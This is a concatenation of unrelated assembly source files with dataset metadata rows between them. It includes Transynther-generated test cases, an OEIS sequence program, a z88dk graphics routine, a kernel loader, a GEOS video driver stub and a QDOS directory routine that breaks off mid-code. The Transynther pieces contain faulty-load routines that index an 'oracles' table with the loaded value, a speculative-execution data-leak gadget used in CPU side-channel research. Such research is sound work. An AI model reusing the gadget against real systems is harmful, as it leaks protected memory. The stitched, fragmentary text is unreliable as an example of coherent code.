{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 8}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.116667 | 2,999 | 0.658279 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_569.asm | 7,948 | Assembly |
; A004006: a(n) = C(n,1) + C(n,2) + C(n,3), or n*(n^2 + 5)/6.
; 0,1,3,7,14,25,41,63,92,129,175,231,298,377,469,575,696,833,987,1159,1350,1561,1793,2047,2324,2625,2951,3303,3682,4089,4525,4991,5488,6017,6579,7175,7806,8473,9177,9919,10700,11521,12383,13287,14234,15225,16261,17343,18472,19649,20875,22151,23478,24857,26289,27775,29316,30913,32567,34279,36050,37881,39773,41727,43744,45825,47971,50183,52462,54809,57225,59711,62268,64897,67599,70375,73226,76153,79157,82239,85400,88641,91963,95367,98854,102425,106081,109823,113652,117569,121575,125671,129858,134137,138509,142975,147536,152193,156947,161799
mov $1,$0
add $1,1
bin $1,3
add $0,$1
| 80.75 | 544 | 0.755418 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/004/A004006.asm | 646 | Assembly |
SECTION code_clib
PUBLIC pixeladdress
INCLUDE "graphics/grafix.inc"
; Entry h = x
; l = y
; Exit: hl = address
; a = pixel number
; Fz = pixel 0 in byte
; Uses: a, de, hl
.pixeladdress
ld d,h ;Save x
ld h,0
add hl,hl ;*64
add hl,hl
add hl,hl
add hl,hl
add hl,hl
add hl,hl
ld a,d ;4 pixels per byte
rrca
rrca
and 63
ld e,a
ld a,d
ld d,$40 ;Screenbase
add hl,de
and 3
ret
| 12.606061 | 30 | 0.605769 | [
"Unlicense"
] | drunkfly/gamemyx | Tools/z88dk/libsrc/target/lviv/graphics/pixladdr.asm | 416 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x19956, %rsi
lea addresses_WC_ht+0x12c56, %rdi
nop
nop
nop
nop
nop
and %r13, %r13
mov $71, %rcx
rep movsq
dec %r13
lea addresses_WC_ht+0xbd96, %rsi
lea addresses_WT_ht+0x1704e, %rdi
clflush (%rsi)
and $3879, %rbp
mov $85, %rcx
rep movsb
nop
nop
nop
cmp $65319, %rbp
lea addresses_normal_ht+0x36d6, %rax
nop
nop
nop
nop
and %r14, %r14
movups (%rax), %xmm4
vpextrq $0, %xmm4, %rdi
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x1e3d6, %r14
nop
nop
sub %rcx, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, (%r14)
nop
nop
nop
nop
and $49701, %rcx
lea addresses_WC_ht+0x4074, %rsi
lea addresses_WC_ht+0x10f96, %rdi
cmp $8073, %r12
mov $49, %rcx
rep movsb
nop
nop
nop
add $2860, %rbp
lea addresses_A_ht+0x1a236, %rsi
lea addresses_A_ht+0x4a56, %rdi
nop
nop
nop
nop
nop
and %r13, %r13
mov $99, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $38120, %rax
lea addresses_WT_ht+0xcc32, %r14
and $31993, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r14)
nop
add $57279, %rdi
lea addresses_normal_ht+0x15a56, %rbp
and %r14, %r14
mov (%rbp), %si
nop
add %r13, %r13
lea addresses_UC_ht+0x2456, %rsi
lea addresses_A_ht+0x159f6, %rdi
nop
sub $52564, %r13
mov $107, %rcx
rep movsw
nop
nop
nop
xor $50970, %r13
lea addresses_normal_ht+0xeb36, %r14
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
nop
nop
sub $4283, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %rax
push %rbp
// Faulty Load
mov $0xbe10c0000000856, %r13
nop
nop
nop
sub %rax, %rax
movups (%r13), %xmm5
vpextrq $0, %xmm5, %r12
lea oracles, %r10
and $0xff, %r12
shlq $12, %r12
mov (%r10,%r12,1), %r12
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 38.730994 | 2,999 | 0.661634 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NC/_zr_/i3-7100_9_0x84_notsx.log_21829_635.asm | 6,623 | Assembly |
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size)
SECTION code_clib
SECTION code_alloc_malloc
PUBLIC posix_memalign_unlocked
EXTERN asm_posix_memalign_unlocked
posix_memalign_unlocked:
pop af
pop hl
pop bc
pop de
push de
push bc
push hl
push af
jp asm_posix_memalign_unlocked
| 14.291667 | 75 | 0.755102 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/posix_memalign_unlocked.asm | 343 | Assembly |
global loader
global forceScheduler
extern main
extern initializeKernelBinary
extern schedulerToKernel
extern schedulerToUser
extern processNext
extern sPrintf
%macro pusha 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push fs
push gs
%endmacro
%macro popa 0
pop gs
pop fs
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
loader:
call initializeKernelBinary ; Set up the kernel binary, and get thet stack address
mov rsp, rax ; Set up the stack with the returned address
call main
cli
hang:
hlt ; halt machine should kernel return
jmp hang
forceScheduler:
;Push de los registros que dps va a levantar el iretq
pop QWORD[ret_addr] ;Direccion de retorno
mov QWORD[ss_addr], ss ;Stack Segment
push QWORD[ss_addr]
push rsp
pushf ;Se pushean los flags
mov QWORD[cs_addr], cs ;Code Segment
push QWORD[cs_addr]
push QWORD[ret_addr] ;Direccion de retorno
;En este momento el stack contiene:
;
; > ret_addr
; cs
; rflags
; rsp
; ss
pusha
mov rdi, rsp
call schedulerToKernel
mov rsp, rax
call processNext
call schedulerToUser
mov rsp, rax
popa
iretq
section .bss
ret_addr:
resq 1
cs_addr:
resq 1
ss_addr:
resq 1
section .data
string db "rsp: %x",10,0
ripppp db "rip: %x",10,0
halt db "halt"
start db "Start fs:",10,0
end db "End fs.",10,0
| 14.448276 | 83 | 0.645585 | [
"BSD-3-Clause"
] | nicodonof/SoundblasterOS | Kernel/loader.asm | 1,676 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: VidMem
FILE: vidmemRaster.asm
AUTHOR: Jim DeFrisco, Mar 19, 1992
ROUTINES:
Name Description
---- -----------
INT BltSimpleLine blt a single scan line (vertically)
INT PutBWScan Transfer a scan line's worth of system
memory to screen
INT FillBWScan Transfer a scan line's worth of system
memory to screen
INT PutBWScanMask Transfer a scan line's worth of system
memory to screen
INT NullBMScan Transfer a scan line's worth of system
memory to screen
INT GetOneScan Copy one scan line of video buffer to
system memory
INT ByteModeRoutines Set of routines for implementing drawing
mode on non-EGA compatible display modes
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 3/19/92 Initial revision
DESCRIPTION:
$Id: vidmemRaster.asm,v 1.1 97/04/18 11:42:52 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidSegment Blt
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
BltSimpleLine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: blt a single scan line (vertically)
CALLED BY: INTERNAL
PASS: bx - first x point in simple region
ax - last x point in simple region
d_x1 - left side of blt
d_x2 - right side of blt
es:si - points to scan line start of source
es:di - points to scan line start of dest
RETURN: nothing
DESTROYED: ax,bx,cx,dx,si,di
PSEUDO CODE/STRATEGY:
mask left;
copy left byte;
mask = ff;
copy middle bytes
mask right;
copy right byte;
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/88... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
BltSimpleLine proc near
ret
BltSimpleLine endp
VidEnds Blt
VidSegment Bitmap
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PutBWScan
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Transfer a scan line's worth of system memory to screen
CALLED BY: INTERNAL
PASS: d_x1 - x coordinate to start drawing
d_y1 - scan line to draw to
d_x2 - x coordinate of right side of image
d_dx - width of image (pixels)
d_bytes - width of image (bytes) (bytes/scan/plane)
ax - rightmost ON point for simple region
bx - leftmost ON point for simple region
dx - index into pattern table
ds:si - pointer to bitmap data
bp - bitmap data segment
es - segment of frame buffer
RETURN: bp intact
DESTROYED: ax,bx,cx,dx,si,di
PSEUDO CODE/STRATEGY:
set drawing color;
mask left;
shift and copy left byte;
shift and copy middle bytes
mask right;
shift and copy right byte;
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 01/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
PutBWScan proc near
ret
PutBWScan endp
FillBWScan proc near
ForceRef FillBWScan
ret
FillBWScan endp
PutBWScanMask proc near
ret
PutBWScanMask endp
NullBMScan proc near
ret
NullBMScan endp
VidEnds Bitmap
VidSegment Misc
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetOneScan
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy one scan line of video buffer to system memory
CALLED BY: INTERNAL
VidGetBits
PASS: ds:si - address of start of scan line in frame buffer
es:di - pointer into sys memory where scan line to be stored
cx - # bytes left in buffer
d_x1 - left side of source
d_dx - # source pixels
shiftCount - # bits to shift
RETURN: es:di - pointer moved on past scan line info just stored
cx - # bytes left in buffer
- set to -1 if not enough room to fit next scan (no
bytes are copied)
DESTROYED: ax,bx,dx,si
PSEUDO CODE/STRATEGY:
if (there's enough room to fit scan in buffer)
copy the scan out
else
just return
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 04/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetOneScan proc near
ret
GetOneScan endp
VidEnds Misc
VidSegment Bitmap
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ByteModeRoutine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set of routines for implementing drawing mode on non-EGA
compatible display modes
CALLED BY: Bitmap drivers
PASS: al = screen data
dl = pattern
ah = new bits AND mask
where: new bits = bits to write out (as in bits from a
bitmap). For objects like rectangles,
where newBits=all 1s, ah will hold the
mask only. Also: this mask is a final
mask, including any user-specified draw
mask.
RETURN: al = byte to write
DESTROYED: ah
PSEUDO CODE/STRATEGY:
see below for each mode
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 02/88... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; the comments below use the following conventions (remember
; boolean algebra?...)
; AND ^
; OR v
; NOT ~
BMR_saveMask byte 0
ByteModeRoutines proc near
ForceRef ByteModeRoutines
ByteCLEAR label near ; (screen^~(data^mask))v(data^mask^resetColor)
not ah ;
and al, ah ;
not ah ;
and ah, byte ptr ss:[resetColor]
or al, ah ;
ByteNOP label near ;
ret
ByteCOPY label near ; (screen^~(data^mask))v(data^mask^pattern)
not ah ;
and al, ah ;
not ah ;
and ah, dl ;
or al, ah ;
ret
ByteAND label near ; screen^((data^mask^pattern)v~(data^mask))
not ah
mov cs:[BMR_saveMask], ah
not ah
and ah, dl
or ah, cs:[BMR_saveMask]
and al, ah
ret
ByteINV label near ; screenXOR(data^mask)
xor al, ah
ret
ByteXOR label near ; screenXOR(data^mask^pattern)
INVRSE <tst ss:[inverseDriver] >
INVRSE <jz notInverse >
INVRSE <not dl >
; Ok, this goes against style guidelines, but we need speed and
; dl back in its original form: duplicate three lines
; and "ret" in the middle of this function.
INVRSE <and ah, dl >
INVRSE <not dl >
INVRSE <xor al, ah >
INVRSE <ret >
INVRSE <notInverse: >
and ah, dl
xor al, ah
ret
ByteSET label near ; (screen^~(data^mask))v(data^mask^setColor)
not ah ;
and al, ah ;
not ah ;
and ah, byte ptr ss:[setColor]
or al, dl
ret
ByteOR label near ; screenv(data^mask^pattern)
and ah, dl
or al, ah
ret
ByteModeRoutines endp
ByteModeRout label word
nptr ByteCLEAR
nptr ByteCOPY
nptr ByteNOP
nptr ByteAND
nptr ByteINV
nptr ByteXOR
nptr ByteSET
nptr ByteOR
VidEnds Bitmap
| 23.200627 | 79 | 0.561546 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Driver/Video/Dumb/VidMem/vidmemRaster.asm | 7,401 | Assembly |
* Make a directory list (for QRAM) v0.01 J.R.Oakley Dec 1986 QJUMP
*
section setup
*
include 'dev8_match_keys'
include 'dev8_ptr_keys'
include 'dev8_qram_keys'
include 'dev8_keys_chn'
include 'dev8_keys_err'
include 'dev8_keys_hdr'
include 'dev8_keys_iod'
include 'dev8_keys_sys'
include 'dev8_qdos_sms'
include 'dev8_qdos_ioa'
include 'dev8_qdos_io'
*
xref qr_alch0
xref fl_rmcks
*
xdef ut_mkdir
*+++
* Generates a list of files on a medium matching a given source pattern
* string. A destination filename is also generated for each.
*
* Registers:
* Entry Exit
* D0 error code
* D1 number of files matched
* A1 pointer to status area preserved
* A2 pointer to source name preserved
* A3 pointer to dest name preserved
* A5 match routine pointer to list
*---
ut_mkdir
regdir reg d2-d6/a0-a4
movem.l regdir,-(sp)
sub.w #mt.frame,sp ; space for stack frame
move.l a5,mt_match(sp) ; fill in match code address
move.l sp,a5 ; point to it
*
* Set up the static parameters for the match routine.
*
move.l a2,mt_source(a5) ; point frame to source...
move.l a3,mt_dest(a5) ; ...and destination
lea mt_file(a5),a2 ; and to space for full source name
move.l a2,mt_name(a5)
*
* Open the source directory.
*
move.l mt_source(a5),a0 ; point to source name
moveq #ioa.kdir,d3 ; open a directory
moveq #myself,d1 ; for me
moveq #ioa.open,d0
trap #do.ioa ; do it
tst.l d0
bne fld_exnc ; ...oops
*
* Look through the directory, checking for matching names: if successful,
* keep the entry and the corresponding destination.
*
moveq #0,d5 ; start with no files
moveq #0,d6 ; and file 0
lea mt_flist(a5),a4 ; new list
bsr fl_gtspc ; get space for first batch
bne fld_exer ; ...oops
fld_gtlp
addq.w #1,d6 ; file number for this header
moveq #hdr.len,d2 ; get a 64-byte header
moveq #-1,d3 ; sometime
moveq #iob.fmul,d0
trap #do.io
tst.l d0
beq.s fld_tstl ; ok, see if it's a real file
cmp.l #err.eof,d0 ; not ok, end of file
beq.s fld_cmdv ; yes, good
bne fld_exer ; ...oops
fld_tstl
tst.l hdr_flen-hdr.len(a1) ; zero bytes long?
bne.s fld_mtch ; no, try to match it
sub.w #hdr.len,a1 ; point back to start
bra.s fld_gtlp ; and go for the next header
*
fld_mtch
move.l a1,mt_copy(a5) ; where to put the copy name
lea hdr_name-hdr.len(a1),a1 ; and point to the actual filename
*
move.l mt_match(a5),a2 ; point to match code
jsr (a2) ; try matching
bne.s fld_nomt ; failed
*
* File matched, so keep it and read another header
*
move.w d6,fl_data-hdr_name(a1) ; fill in file number
add.w #fl.dirln-hdr_name,a1 ; point to next space
addq.w #1,d5 ; another file is found
dbra d4,fld_gtlp ; and get another file
bsr fl_gtspc ; no room, get some more
bne fld_excl ; can't!
bra fld_gtlp ; and go round
*
fld_nomt
lea -hdr_name(a1),a1 ; point back to start of header
bra fld_gtlp ; and try the next file
page
*
* Once all matching directory entries are read, we should check for the
* device being a genuine MDV (not a RAM_ or FLP_USEd one), and get
* correct headers if it is.
*
mdvreg reg d5/a0
mdstk_d5 equ $00
fld_cmdv
tst.w d5 ; how many files?
beq fld_cnvd ; none
movem.l mdvreg,-(sp)
move.l a0,d3 ; from channel ID
add.w d3,d3
add.w d3,d3 ; make offset of channel base in table
moveq #sms.info,d0
trap #do.sms2 ; point to system variables
move.l sys_chtb(a0),a1 ; and to channel table
move.l 0(a1,d3.w),a1 ; and to channel base
*
move.l chn_drvr(a1),a2 ; point to driver address
cmp.l #$c000,iod_frmt(a2) ; is FORMAT entry in ROM?
bge fld_nmdv ; no, can't be mdv then
lea iod_name(a2),a4 ; point to actual drive name
*
moveq #0,d0
move.b fs_drive(a1),d0 ; get drive ID
lsl.b #2,d0 ; offset in pdb table
lea sv_fsdef(a0),a2 ; point to pdb table
move.l 0(a2,d0.w),a2 ; and to drive's own pdb
*
* We now have A2 pointing to a microdrive's physical definition block.
* Assuming that we're 13 sectors on from the last directory sector, we
* can search from there to each file's block 0 in turn, and read the
* headers in the order they're found on the medium.
*
lea md_maps+md.mapl(a2),a1 ; point to end of map
move.w #256,d4 ; starting at block 255
move.w #$ff00,d6 ; look for duff sectors
fld_fszl
subq.w #1,d4 ; this sector
cmp.w -(a1),d6 ; is it duff
beq.s fld_fszl ; yes, try next
moveq #-1,d0 ; looking for directory sector>=0
move.w d4,d3 ; starting here
*
fld_fdrl
tst.b (a1) ; is this a directory block?
bne.s fld_fdre ; no
cmp.b 1(a1),d0 ; yes, highest so far?
bgt.s fld_fdre ; no
move.w d3,d6 ; yes, update position
move.b 1(a1),d0 ; this is highest now
fld_fdre
subq.l #2,a1 ; next map entry
dbra d3,fld_fdrl ; loop until done
*
add.w d4,d4 ; max index in map
add.w d6,d6 ; start point in map
sub.w #(13+1)*2,d6 ; move back 13 blocks
bpl.s fld_ffnl ; OK, find first file number
add.w d4,d6 ; past start, so back to here
*
* At this point, D4=max map index, D6=start map index
*
fld_ffnl
moveq #0,d0
move.b md_maps(a2,d6.w),d0 ; get file number
cmp.b #$f8,d0 ; is it a file?
bcc fld_nofl ; no, do next
tst.b md_maps+1(a2,d6.w) ; yes, is it that file's block 0?
bne.s fld_nofl ; no, no point reading it then
*
lea mt_flist(a5),a0 ; point to file list
